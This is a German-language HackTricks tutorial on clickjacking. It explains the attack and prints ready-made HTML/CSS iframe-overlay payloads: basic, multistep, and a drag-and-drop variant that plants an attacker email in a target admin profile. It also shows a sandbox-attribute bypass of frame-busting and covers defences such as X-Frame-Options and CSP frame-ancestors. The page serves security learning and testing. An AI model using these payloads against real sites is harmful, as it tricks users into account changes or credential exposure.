12 KiB
Clickjacking
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Verwende Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalte heute Zugang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Was ist Clickjacking
Bei einem Clickjacking-Angriff wird ein Benutzer getäuscht, indem er auf ein Element auf einer Webseite klickt, das entweder unsichtbar oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
Vorab ausgefüllte Formulare
Manchmal ist es möglich, den Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite auszufüllen. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.
Formular mit Drag&Drop ausfüllen
Wenn du möchtest, dass der Benutzer ein Formular ausfüllt, aber ihn nicht direkt bitten möchtest, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das du kennst) einzugeben, kannst du ihn einfach bitten, etwas zu Drag&Drop, das deine kontrollierten Daten eingibt, wie in diesem Beispiel.
Grundlegende Nutzlast
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Multistep Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click-Payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Wenn Sie einen XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer auf ein Element klickt, um den XSS auszulösen und die Seite anfällig für Clickjacking ist, könnten Sie dies ausnutzen, um den Benutzer zu täuschen, auf die Schaltfläche/den Link zu klicken.
Beispiel:
Sie haben einen self XSS in einigen privaten Details des Kontos gefunden (Details, die nur Sie festlegen und lesen können). Die Seite mit dem Formular, um diese Details festzulegen, ist anfällig für Clickjacking und Sie können das Formular mit den GET-Parametern vorbefüllen.
__Ein Angreifer könnte einen Clickjacking-Angriff auf diese Seite vorbereiten, indem er das Formular mit der XSS-Nutzlast vorbefüllt und den Benutzer dazu bringt, das Formular abzusenden. Wenn das Formular also eingereicht wird und die Werte geändert werden, wird der Benutzer den XSS ausführen.
Strategien zur Minderung von Clickjacking
Client-Seitige Abwehrmaßnahmen
Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:
- Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.
- Alle Frames sichtbar machen.
- Klicks auf unsichtbare Frames verhindern.
- Benutzer über potenzielle Clickjacking-Versuche informieren und warnen.
Diese Frame-Busting-Skripte können jedoch umgangen werden:
- Sicherheitseinstellungen der Browser: Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung blockieren.
- HTML5 iframe
sandbox
Attribut: Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er dassandbox
-Attribut mit den Wertenallow-forms
oderallow-scripts
ohneallow-top-navigation
festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Die allow-forms
und allow-scripts
Werte ermöglichen Aktionen innerhalb des iframes, während die Navigation auf der obersten Ebene deaktiviert wird. Um die beabsichtigte Funktionalität der angegriffenen Seite sicherzustellen, könnten zusätzliche Berechtigungen wie allow-same-origin
und allow-modals
erforderlich sein, abhängig von der Art des Angriffs. Nachrichten in der Browser-Konsole können Hinweise darauf geben, welche Berechtigungen erlaubt werden sollen.
Serverseitige Abwehrmaßnahmen
X-Frame-Options
Der X-Frame-Options
HTTP-Antwortheader informiert Browser über die Legitimität der Darstellung einer Seite in einem <frame>
oder <iframe>
, um Clickjacking zu verhindern:
X-Frame-Options: deny
- Keine Domain kann den Inhalt einrahmen.X-Frame-Options: sameorigin
- Nur die aktuelle Seite kann den Inhalt einrahmen.X-Frame-Options: allow-from https://trusted.com
- Nur die angegebene 'uri' kann die Seite einrahmen.- Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors Direktive.
Content Security Policy (CSP) frame-ancestors Direktive
Die frame-ancestors
Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:
frame-ancestors 'none'
- Ähnlich wieX-Frame-Options: deny
.frame-ancestors 'self'
- Ähnlich wieX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Ähnlich wieX-Frame-Options: allow-from
.
Zum Beispiel erlaubt die folgende CSP nur das Einrahmen von derselben Domain:
Content-Security-Policy: frame-ancestors 'self';
Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP-Dokumentation und in der CSP frame-ancestors Dokumentation von Mozilla.
Content Security Policy (CSP) mit child-src
und frame-src
Die Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injektionsangriffe zu verhindern, indem sie angibt, welche Quellen der Browser zulassen soll, um Inhalte zu laden.
frame-src
Direktive
- Definiert gültige Quellen für Frames.
- Ist spezifischer als die
default-src
Direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Diese Richtlinie erlaubt Frames von derselben Herkunft (self) und https://trusted-website.com.
child-src
Direktive
- Eingeführt in CSP Level 2, um gültige Quellen für Web-Worker und Frames festzulegen.
- Dient als Fallback für frame-src und worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Diese Richtlinie erlaubt Frames und Worker von derselben Herkunft (self) und https://trusted-website.com.
Nutzungsnotizen:
- Abwertung: child-src wird zugunsten von frame-src und worker-src schrittweise eingestellt.
- Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
- Strikte Quelldefinition: Nur vertrauenswürdige Quellen in den Direktiven einbeziehen, um Ausnutzung zu verhindern.
JavaScript Frame-Breaking Scripts
Obwohl nicht völlig narrensicher, können auf JavaScript basierende Frame-Busting-Skripte verwendet werden, um zu verhindern, dass eine Webseite in einem Frame angezeigt wird. Beispiel:
if (top !== self) {
top.location = self.location;
}
Verwendung von Anti-CSRF-Token
- Token-Validierung: Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsverändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacked-Seite vorgenommen werden.
Referenzen
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks unterstützen
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.